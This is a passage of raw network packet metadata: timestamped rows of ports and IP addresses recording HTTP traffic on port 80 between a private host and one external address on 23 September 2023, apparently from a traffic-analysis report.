Sep 23, 2023 17:53:22.832740068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.832741022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.833914995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.833962917 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.834055901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.835216999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.835267067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.835340977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.836534023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.836582899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.836608887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.837714911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.837764025 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.837780952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.838946104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.838998079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.839061975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.840441942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.840468884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.840511084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.841690063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.841726065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.841742992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.842823982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.842873096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.842905045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.844089031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.844151020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.844163895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.845297098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.845346928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.845349073 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.846581936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.846610069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.846635103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.847944021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.847987890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.847994089 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.849021912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.849078894 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.849097013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.850298882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.850354910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.850366116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.851694107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.851737976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.851747990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.852976084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.853032112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.853033066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.854106903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.854151964 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.854244947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.855700970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.855751038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.855761051 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.856662035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.856678963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.856715918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.857958078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.858012915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.858021975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.858978987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.859041929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.859081984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.860383034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.860436916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.860444069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.861628056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.861676931 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.861685991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.862715960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.862755060 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.862795115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.864150047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.864198923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.864216089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.865328074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.865391016 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.865438938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.866703033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.866756916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.866775036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.867777109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.867825985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.867842913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.869184971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.869235992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.869252920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.870187998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.870232105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.870348930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.871457100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.871498108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.871524096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.872581005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.872621059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.872922897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.873924971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.873967886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.873982906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.875220060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.875260115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.875262022 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.876437902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.876475096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.876519918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.877660990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.877711058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.877769947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.878789902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.878834009 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.878846884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.880006075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.880060911 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.880067110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.881525993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.881587029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.881619930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.882473946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.882529020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.882561922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.884064913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.884082079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.884130955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.884777069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.884829044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.884845972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.885945082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.886003017 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.886017084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.887088060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.887128115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.887145042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.888415098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.888463020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.888478041 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.889648914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.889667034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.889708996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.891006947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.891024113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.891071081 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.891916990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.891933918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.891966105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.893013000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.893052101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.893079042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.894179106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.894249916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.894282103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.895534992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.895593882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.895607948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.896713018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.896768093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.896770000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.897794008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.897845030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.897878885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.899004936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.899072886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.899104118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.899976015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.900135994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.900187016 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.900218964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.901287079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.901341915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.901510954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.902441978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.902488947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.902520895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.903594971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.903650999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.903671980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.904671907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.904726028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.904750109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.905781984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.905828953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.905929089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.907131910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.907186031 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.907238007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.908108950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.908157110 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.908189058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.909245014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.909290075 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.909487009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.910372972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.910415888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.910420895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.911510944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.911560059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.911581993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.912578106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.912595987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.912631035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.913681030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.913727999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.913921118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.914623976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.914916039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.914973021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.914988041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.916119099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.916141987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.916179895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.917119980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.917172909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.917187929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.918201923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.918257952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.918268919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.920161009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.920208931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.920223951 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.920958042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.921006918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.921015978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.921515942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.921556950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.921574116 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.922630072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.922677994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.922679901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.924045086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.924093962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.924103022 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.924973011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.925029039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.925033092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.925870895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.926000118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.926052094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.926084995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.926922083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.926980019 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.927007914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.927970886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.928021908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.928024054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.928435087 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.929023981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.929074049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.929120064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.930140972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.930205107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.930227041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.931147099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.931197882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.931206942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.932183981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.932239056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.932271957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.932804108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.933206081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.933247089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.933258057 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.934550047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.934609890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.934627056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.935461044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.935509920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.935542107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.936593056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.936651945 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.936660051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.937555075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.937608957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.937611103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.938468933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.938517094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.938534021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.939390898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.939445972 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.939493895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.940538883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.940593958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.940639973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.941442013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.941495895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.941601992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.942485094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.942538023 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.942630053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.942994118 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.943504095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.943559885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.943592072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.944525957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.944570065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.944575071 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.945571899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.945619106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.945676088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.945844889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.946542025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.946588039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.946594000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.947549105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.947607994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.947611094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.948559046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.948606968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.948620081 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.949754000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.949819088 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.949831009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.950826883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.950886965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.950911045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.951667070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.951723099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.951724052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.952615976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.952666044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.952689886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.953247070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.953285933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.953365088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.954149961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.954200029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.954267025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.955625057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.955679893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.955679893 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.956063032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.956105947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.956125021 CEST	80	49781	5.42.65.80	192.168.2.4
